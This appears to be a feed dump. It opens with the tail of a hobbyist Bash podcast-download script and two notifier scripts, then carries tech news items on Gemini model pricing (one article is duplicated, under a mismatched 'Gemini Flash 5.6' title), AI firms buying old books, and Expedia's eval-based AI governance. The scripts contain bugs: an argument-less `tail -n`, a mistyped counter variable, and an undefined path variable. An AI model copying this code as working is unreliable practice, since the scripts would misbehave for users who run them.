	# first grep search pattern in their show notes, then it would


	# look for that as a valid tag and output the following text


	# as a URL.


	#wget --timeout=20 --tries=3 -O - "$PodURL" | grep " $tmppodsnew










}










# ======================================================================






# Find which podcasts we do not already have.


FindNewPodcasts () {










	cat $podcastsfetched | sort > $tmpoldurlssorted


	comm -13 $tmpoldurlssorted $tmppodsnew > $tmppodstodownload






	rm $tmpoldurlssorted






}






# ======================================================================






# Download the podcasts.


DownloadPodcasts() {






	# Clear out previous temporary list of downloaded podcasts.


	true > $tmppodcastsfetched










	for i in $( cat $tmppodstodownload )


	do






		# Extract the file name from the URL.


		fname=$( basename $i )


		outputpodname="$podfilepath/$fname"






		# Download the file.


		wget --timeout=90 --tries=3 -P $podfilepath $i -O "$outputpodname"






		# Check if the file exists and is not empty.


		if [[ -s "$outputpodname" ]]; then


			echo $i >> $tmppodcastsfetched


		else


			echo "$podttimestamp Error - $outputpodname was not found or is empty." >> $tmppodserrors


		fi










		# Delay a reasonable length of time between multiple downloads.


		if (( $PodCount > 1 )); then 


			sleep 3


		fi






	done






	# Add the list of files downloaded to the log.


	# Check if the list exists and is not empty.


	if [ -s $tmppodcastsfetched ]; then


		cat $tmppodcastsfetched >> $podcastsfetched


		# Trim the log file to keep it from growing indefinitely.


		tail -n50 $podcastsfetched > $tmplog


		mv $tmplog $podcastsfetched


	fi






	# Remove the tmp file now that we are done with it.


	rm $tmppodcastsfetched






}










# ======================================================================






# Clean up any left over files.


CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"










# Get the RSS data.


GetRSSURLData






# Find which podcasts are new.


FindNewPodcasts






# Count how many new podcasts there are.


PodCount=$( cat $tmppodstodownload | wc -l )










# If no podcasts to download, skip this.


# If too many podcasts for this feed, then log an error and skip.


# This error will keep repeating until something is done about it.


if (( $PodCount > 0 )); then 


	if (( $PodCount > $DownloadLimit )); then 


		echo "$podttimestamp Too many podcasts for $PodName : $PodCount." >> $tmppodserrors		


	else


		# Download the podcasts listed in the temp file.


		DownloadPodcasts


	fi


fi






# ======================================================================






# Copy the errors log from the temporary errors file to the permanent files.


LogErrors






# Clean up temp files.


CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"






# ======================================================================






END OF FIRST SHELL SCRIPT










START OF SECOND SHELL SCRIPT






podfetchnotify














#!/bin/bash






# Part of Podfetch.


# This monitors for new files appearing in the new podcasts directory.


# This should be run as a background task.


# Install it using the "Startup Applications" utility in Ubuntu.






# ======================================================================






# Path where new podcasts are to be stored.


podfilepath="/home/me/Music/Podcasts/HPR"






# ======================================================================






# Wait for the podcast directory to be modified.


while true; do






	# Check for new files.


	errmsg=$( inotifywait -e modify -e create -e moved_to $podfilepath )


	result=$?










	# Check if exited due to new podcast, or if some error.


	if (( result == 0 )); then


		# Success, signal new podcast.


		notify-send "New HPR podcast available."


	else


		# Check to make sure the directory exists.


		# If it doesn't exist, there isn't much we can do to fix it.


		if [ ! -e "$poderrorspath" ]; then


			notify-send "Podfetch error: Podcast directory not found $poderrorspath"


			exit 1


		fi


	fi






	# Wait a bit so that multiple new files don't keep re-triggering the notification.


	sleep 60






done






# ======================================================================






END OF SECOND SHELL SCRIPT










START OF THIRD SHELL SCRIPT






podfetcherror


Created Tuesday 23 June 2026






#!/bin/bash






# Part of Podfetch.


# This monitors the Podfetch error reporting file for new errors.


# This should be run as a background task.


# Install it using the "Startup Applications" utility in Ubuntu.






# ======================================================================






# Where the Podfetch program error report file is located.


poderrorspath="/home/me/Apps/hprfetch"






# The full path and file name.


poderrorsreport="$poderrorspath/poderrorsreport.txt"






# ======================================================================






# Error counter.


errcount=0






# Wait for the poderrorsreport file to be modified.


while true; do






	errmsg=$( inotifywait -e modify $poderrorsreport )


	result=$?






	# Wait a bit to ensure that writing to the file is complete.


	sleep 3






	if (( result == 0 )); then


		# Get the latest error message.


		# Cut out the date stamp at the start of the line and take the rest.


		poderr=$( tail -n $poderrorsreport | cut -d" " -f2- )






		notify-send "Podfetch error: $poderr"






		# Reset the error counter every time there is a successful result.


		errcount=0






	else


		# Check to make sure the directory exists.


		if [ ! -e "$poderrorspath" ]; then


			notify-send "Podfetch error: error report path not found $poderrorspath"


			exit 1


		fi






		# Check if the file we are trying to monitor exists.


		# If not, then create an empty file for error signaling.


		if [ ! -e "$poderrorsreport" ]; then


			echo > $poderrorsreport


		fi






		# Increment the error counter.


		count=$(( count + 1 ))


		if (( count > 3 )); then


			notify-send "Podfetch error: Excessive unknown errors, exiting."


			exit 1


		fi






	fi






done






# ======================================================================










Provide feedback on this episode.


[Project Recruitment] Looking for PowerPC / Ghidra hobbyists to help cleanroom reverse-engineer a legacy Xbox 360 Dashboard Binary (.XEX) for an open-source revival
Wed, 22 Jul 2026 01:04:37 +0200
  submitted by    /u/Potential_Hope_5695  
 [link]   [comments]


Google's Gemini 3.6 Flash model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way
Tue, 21 Jul 2026 23:33:56 +0200
Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. 
The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. 
Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. 
VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)
Model Input ($/1M) Output ($/1M) Total ($/1M) Source
MiMo-V2.5 Flash $0.10 $0.30 $0.40 Xiaomi
deepseek-v4-flash $0.14 $0.28 $0.42 DeepSeek
deepseek-v4-pro $0.435 $0.87 $1.305 DeepSeek
MiniMax-M3 $0.30 $1.20 $1.50 MiniMax
LongCat-2.0 — limited-time promo $0.30 $1.20 $1.50 LongCat
Gemini 3.1 Flash-Lite $0.25 $1.50 $1.75 Google
Qwen3.7-Plus $0.40 $1.60 $2.00 Alibaba Cloud
MiMo-V2.5 $0.40 $2.00 $2.40 Xiaomi
Gemini 3.5 Flash-Lite $0.30 $2.50 $2.80 Google
LongCat-2.0 — standard $0.75 $2.95 $3.70 LongCat
MiMo-V2.5 Pro (≤256K) $1.00 $3.00 $4.00 Xiaomi
GLM-5.2 $1.40 $4.40 $5.80 Z.ai
GPT-5.6 Luna $1.00 $6.00 $7.00 OpenAI
Grok 4.5 $2.00 $6.00 $8.00 xAI
MiMo-V2.5 Pro (>256K) $2.00 $6.00 $8.00 Xiaomi
Gemini 3.6 Flash $1.50 $7.50 $9.00 Google
Qwen3.7-Max $2.50 $7.50 $10.00 Alibaba Cloud
Gemini 3.5 Flash $1.50 $9.00 $10.50 Google
Gemini 3.1 Pro Preview (≤200K) $2.00 $12.00 $14.00 Google
GPT-5.6 Terra $2.50 $15.00 $17.50 OpenAI
GPT-5.4 $2.50 $15.00 $17.50 OpenAI
Kimi K3 $3.00 $15.00 $18.00 Moonshot AI
Gemini 3.1 Pro Preview (>200K) $4.00 $18.00 $22.00 Google
Claude Opus 4.8 $5.00 $25.00 $30.00 Anthropic
GPT-5.5 $5.00 $30.00 $35.00 OpenAI
GPT-5.5 Instant (chat-latest) $5.00 $30.00 $35.00 OpenAI
Sakana Fugu Ultra (≤272K) $5.00 $30.00 $35.00 Sakana AI
GPT-5.6 Sol $5.00 $30.00 $35.00 OpenAI
Claude Fable 5 / Claude Mythos 5 $10.00 $50.00 $60.00 Anthropic
No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. 
While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). 
Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a separate Google blog post, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — CodeMender being Google's proprietary AI code bug-fixing agent released last year. 
As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. 
One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, debuted back in February 2026, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. 
Google technical staffer Logan Kilpatrick responded to one such inquiry on X, writing: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." 
Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. 
If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.
Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks
Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the Artificial Analysis Index maintained by the independent third-party AI benchmarking group of the same name. 
In specific long-horizon software engineering benchmarks like DeepSWE, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. 
This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. 
When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.
While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."
The official model cards released by Google reveal that both Gemini 3.6 Flash and Gemini 3.5 Flash-Lite feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.
Respectable benchmark performance at low cost
The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. 
It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. 
The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.
To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. 
The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.
Models for low-cost coding, agentic, and cybersecurity use cases — respectively
Google divided its new offerings into three distinct products tailored for different operational needs. 
Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. 
The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.
Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. 
As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. Artificial Analysis notes this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.
Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. 
Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. 
The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.
The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. 
In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark, even getting within range of Anthropic's much-hyped Mythos model.
Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.
Commercial licensing only
The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.
An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. 
This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.
The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6. 
In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.
Looking ahead
Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.
Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. 
Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.


AI Companies Are Buying Tons of Old Books Because They're Free of AI Slop
Tue, 21 Jul 2026 23:04:37 +0200
An anonymous reader quotes a report from 404 Media: As AI companies search for more training data to improve their models, one company is offering old, printed books as an ideal source because they are guaranteed to be free of the very AI slop AI companies are producing. "The world's best AI training data is sitting on a shelf," ISBNdb, a company that produces what it claims is "the world's largest book database," and that offers high-volume book acquisition services for AI companies, says on its site. "Books represent curated, peer-reviewed, domain-specific human knowledge, structured in a way no web crawl can replicate. Dense, edited, authoritative."
 
In one article on its site, ISBNdb explains that printed books published before 2022 are ideal for AI training data because they don't include AI generated text. As the article correctly notes, much of the data that AI companies can scrape from the internet today is likely to include AI generated text, which could result in "model collapse," a process by which AI models that are trained on AI generated data results in worse models that are more prone to errors. The article also notes that book authors who object to their writing being scraped for training purposes can now easily poison AI models by producing writing designed to manipulate and sabotage the resulting AI models.
 
"Print books from the pre-LLM era are structurally guaranteed to be free of this contamination. That alone is a significant advantage [...] "Physical books published before this date [pre-2022] are structurally clean of modern poisoning tools." [...] ISBNdb advertises that it can keep the identity of AI companies secret. "Strict NDA [non-disclosure agreement] on every engagement," ISBNdb's site says. "Every project begins with a legally binding non-disclosure agreement. Your identity, strategy, and acquisition targets are never disclosed." ISBNdb notes that AI companies may not want to be caught destroying printed books during the scanning process. "The optics problem is real," ISBNdb's site says. "'AI company destroys two million books' is not a headline that generates sympathy."






Read more of this story at Slashdot.


Google's Gemini Flash 5.6 model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way
Tue, 21 Jul 2026 22:56:46 +0200
Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. 
The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. 
Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. 
VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)
Model Input ($/1M) Output ($/1M) Total ($/1M) Source
MiMo-V2.5 Flash $0.10 $0.30 $0.40 Xiaomi
deepseek-v4-flash $0.14 $0.28 $0.42 DeepSeek
deepseek-v4-pro $0.435 $0.87 $1.305 DeepSeek
MiniMax-M3 $0.30 $1.20 $1.50 MiniMax
LongCat-2.0 — limited-time promo $0.30 $1.20 $1.50 LongCat
Gemini 3.1 Flash-Lite $0.25 $1.50 $1.75 Google
Qwen3.7-Plus $0.40 $1.60 $2.00 Alibaba Cloud
MiMo-V2.5 $0.40 $2.00 $2.40 Xiaomi
Gemini 3.5 Flash-Lite $0.30 $2.50 $2.80 Google
LongCat-2.0 — standard $0.75 $2.95 $3.70 LongCat
MiMo-V2.5 Pro (≤256K) $1.00 $3.00 $4.00 Xiaomi
GLM-5.2 $1.40 $4.40 $5.80 Z.ai
GPT-5.6 Luna $1.00 $6.00 $7.00 OpenAI
Grok 4.5 $2.00 $6.00 $8.00 xAI
MiMo-V2.5 Pro (>256K) $2.00 $6.00 $8.00 Xiaomi
Gemini 3.6 Flash $1.50 $7.50 $9.00 Google
Qwen3.7-Max $2.50 $7.50 $10.00 Alibaba Cloud
Gemini 3.5 Flash $1.50 $9.00 $10.50 Google
Gemini 3.1 Pro Preview (≤200K) $2.00 $12.00 $14.00 Google
GPT-5.6 Terra $2.50 $15.00 $17.50 OpenAI
GPT-5.4 $2.50 $15.00 $17.50 OpenAI
Kimi K3 $3.00 $15.00 $18.00 Moonshot AI
Gemini 3.1 Pro Preview (>200K) $4.00 $18.00 $22.00 Google
Claude Opus 4.8 $5.00 $25.00 $30.00 Anthropic
GPT-5.5 $5.00 $30.00 $35.00 OpenAI
GPT-5.5 Instant (chat-latest) $5.00 $30.00 $35.00 OpenAI
Sakana Fugu Ultra (≤272K) $5.00 $30.00 $35.00 Sakana AI
GPT-5.6 Sol $5.00 $30.00 $35.00 OpenAI
Claude Fable 5 / Claude Mythos 5 $10.00 $50.00 $60.00 Anthropic
No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. 
While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). 
Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a separate Google blog post, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — CodeMender being Google's proprietary AI code bug-fixing agent released last year. 
As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. 
One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, debuted back in February 2026, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. 
Google technical staffer Logan Kilpatrick responded to one such inquiry on X, writing: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." 
Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. 
If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.
Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks
Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the Artificial Analysis Index maintained by the independent third-party AI benchmarking group of the same name. 
In specific long-horizon software engineering benchmarks like DeepSWE, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. 
This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. 
When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.
While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."
The official model cards released by Google reveal that both Gemini 3.6 Flash and Gemini 3.5 Flash-Lite feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.
Respectable benchmark performance at low cost
The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. 
It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. 
The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.
To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. 
The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.
Models for low-cost coding, agentic, and cybersecurity use cases — respectively
Google divided its new offerings into three distinct products tailored for different operational needs. 
Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.
Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. 
As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. Artificial Analysis notes this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.
Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. 
Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. 
The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.
The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. 
In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark. 
Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.
Commercial licensing only
The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.
An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. 
This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.
The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6. 
In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.
Looking ahead
Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, 
the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.
Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. 
Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.


Evals are the new PRD, Expedia’s AI chief tells VB Transform 2026
Tue, 21 Jul 2026 20:19:07 +0200
“The new PRD are the evals,” Xavi Amatriain, Expedia Group’s first chief AI and data officer, told the VB Transform 2026 audience last week in Menlo Park. “So basically, you encode what you want the product to do through your evals, which might include red teaming evals and all kinds of other things, which already have a bunch of security requirements. So, you already embed that into the PRD and the product design document before you even start coding.”
He pushed it further. “With AI-assisted or AI-generated code, that’s gonna be the future. It’s like all your thinking is gonna go into the evals.”
Amatriain served as VP of AI and Compute Enablement at Google across the platforms powering Gemini and Google Search before his December 2025 appointment at Expedia. He's mentored talent who went on to found Perplexity and Scale AI. 
VentureBeat’s VB Pulse research on the evaluation gap reinforced the stakes. Sixty-six percent of the 157 enterprises surveyed already permit some production deployment without human review or are building toward it within the next 12 months, yet only 5% fully trust the automated evaluations that would make that decision. Half have shipped an agent that passed internal evals but then failed with a real customer.
Don’t let guardrails get in the way of feedback
“The more guardrails and artificial business rules and sort of rules that you put into the system, the worse off,” Amatriain said. “Not only because they’re brittle, but also because they actually mess up with the feedback loop. You are actually biasing the user and the feedback you get from the user, and then you’re learning that in the wrong way.” He called guardrails “a necessary evil” and said the goal is to minimize their impact over time.
Not everyone at Transform agreed. Other speakers argued during the event that the highest-risk actions still demand very firm guardrails.
Expedia governs AI through three layers instead. Principles come first, communicated broadly. “I like to encode at a very high level how I expect decisions to be made, because in a large organization you’re gonna have a lot of distributed decision making,” Amatriain said. “And sometimes, if you’re lucky enough, those principles might be embedded in your culture. But most of the time, my experience has been they’re not.” The processes and tools that enforce them follow. “Principles look really nice on a picture on some wall, but you need to then give them teeth,” he said. Automation sits on top of both.
In practice, this plays out through what Expedia calls agent release toll gates, checkpoints calibrated to risk. “Governance needs to correlate to the risk,” Amatriain said. “And if you have something that is low risk, you don’t need too much governance to get in the way. But if there’s a lot of risk, then you need more governance. That can be encoded.” The toll gates tie evaluation rounds, red teaming, and security review to each agent’s risk level, and the checks shift from recommended to required as the stakes climb. 
Specialized agents over monolithic intelligence
“Even when I was at Google, I was like, I don’t believe in AGI as sort of like a singleton and a unified sort of like single model,” Amatriain told the audience. “I think it’s much better to think of it as composition, sort of like having specialized agents that are very good at some task and then composing the system out of those specialized agents.”
Expedia’s architecture starts at the component level. Tools compose into skills, skills assemble into sub-agents, and sub-agents get orchestrated into the full agentic system. “You need to have those principles that are unified that talk about things like what is the tone that we’re using, how are we addressing the user, how are we passing context, memory,” he said. “All of that needs to be thoroughly designed.” He framed this as a systemic design problem. “It’s not about the model, it’s not about a specific solution, it’s about how you’re designing the system.”
Amatriain argued that scoping each agent narrowly also makes the system easier to secure, since teams can evaluate and lock down individual agents in isolation before composing them.
When the user must keep the final click
Travel pricing changes in real time, flight availability shifts minute to minute, and hotel reviews routinely contradict what suppliers claim. Amatriain described a system that blends retrieval-augmented generation with direct API tool calls, choosing the approach based on latency. “If the user asks you a question like, how much does a four star hotel usually cost in Chicago in July, you don’t expect the agent to take two minutes to answer that question,” he said. “You expect an immediate answer because that answer can be cached and it doesn’t need real-time information.” A pet-friendly four-star near Lake Michigan with a pool might justify a 30-second reasoning window.
“The supplier might be saying, yeah, we have a great swimming pool, but then we also have the reviews from the travelers and we actually see there’s two reviews that say the swimming pool was not great or was not open after 6 p.m.,” Amatriain explained. A generic chatbot, he added, would only surface what a supplier self-reports, while Expedia cross-references against its own review corpus.
“We don’t want the agent to book the hotel or to buy you a plane ticket for you,” Amatriain said. “That’s something that the user has to have the agency. And the agent can recommend, can suggest, can discuss with you, but you’re gonna have to hit that click. And that’s non-negotiable.” That constraint, he argued, is also a security decision. “Once you establish those design principles, you also don’t need the guardrail because otherwise you’re gonna have to put all those guardrails in after the fact.”
The next attackers will be other AI systems
“Security needs to be a principle that is shifted as left as possible and as part of the design itself,” Amatriain said in response to an audience question. “And usually when you need a guardrail is because you’ve not thought about it early on.”
A second audience member pressed for lessons learned from production. Amatriain described a feedback loop where monitoring signals flow back into the eval suite. “You can almost automate the whole cycle,” he said. “But having that whole feedback loop from real signals, from your operating AI system, all the way into being reported and fixed as quickly as possible is going to become essential.”
